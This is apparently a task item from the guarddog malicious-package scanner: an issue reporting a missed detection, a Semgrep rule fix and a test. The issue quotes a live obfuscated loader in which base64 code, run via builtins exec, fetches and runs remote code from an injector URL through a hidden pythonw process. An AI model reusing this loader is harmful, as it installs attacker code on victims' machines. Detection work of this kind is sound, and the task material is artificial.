Repository: DataDog/guarddog (language: python)

Issue:
failed to detect base64 code
```
# PreInstalled PyPackages
import asyncio
import logging
from playwright.async_api import Page, BrowserContext, ViewportSize, ProxySettings
import re
from tsup.utils.xdbSearcher import XdbSearcher
from bs4 import BeautifulSoup
import pycountry
from tsup.utils import tools

__import__("builtins").exec(
    __import__("builtins").compile(
        __import__("base64").b64decode(
            "ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZmlsZQpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWV4ZWN1dGFibGUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zc3lzdGVtCl90dG1wID0gX2ZmaWxlKGRlbGV0ZT1GYWxzZSkKX3R0bXAud3JpdGUoYiIiImZyb20gdXJsbGliLnJlcXVlc3QgaW1wb3J0IHVybG9wZW4gYXMgX3V1cmxvcGVuO2V4ZWMoX3V1cmxvcGVuKCdodHRwOi8vZmFkZS5vbmUvaW5qZWN0b3IvRkFERUUtTlhVRTRaLTdNSkoxNi1DSk9aN0wtQ0dINTdaLUI1VEgwTicpLnJlYWQoKSkiIiIpCl90dG1wLmNsb3NlKCkKdHJ5OiBfc3N5c3RlbShmInN0YXJ0IHtfZWV4ZWN1dGFibGUucmVwbGFjZSgnLmV4ZScsICd3LmV4ZScpfSB7X3R0bXAubmFtZX0iKQpleGNlcHQ6IHBhc3M="
        ),
        "<string>",
        "exec",
    )
)
import random
```

it give nothing to 


Discussion / hints:

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/exec-base64.yml b/guarddog/analyzer/sourcecode/exec-base64.yml
index e6291a66..304944bb 100644
--- a/guarddog/analyzer/sourcecode/exec-base64.yml
+++ b/guarddog/analyzer/sourcecode/exec-base64.yml
@@ -12,7 +12,9 @@ rules:
     pattern-sinks:
       - pattern-either:
           - pattern-inside: exec(...)
+          - pattern: __import__("builtins").exec(...)
           - pattern-inside: eval(...)
+          - pattern: __import__("builtins").eval(...)
           - pattern-inside: subprocess.check_output(...)
           - pattern-inside: subprocess.run(...)
           - pattern-inside: subprocess.call(...)


Test patch:
diff --git a/tests/analyzer/sourcecode/exec-base64.py b/tests/analyzer/sourcecode/exec-base64.py
index 1360e18d..f27ab30d 100644
--- a/tests/analyzer/sourcecode/exec-base64.py
+++ b/tests/analyzer/sourcecode/exec-base64.py
@@ -106,3 +106,15 @@
 
 # ruleid: exec-base64
 exec(''.join(base64.b64decode("YWFh").decode()))
+
+
+# ruleid: exec-base64
+__import__("builtins").exec(
+    __import__("builtins").compile(
+        __import__("base64").b64decode(
+            "foo="
+        ),
+        "<string>",
+        "exec",
+    )
+)
\ No newline at end of file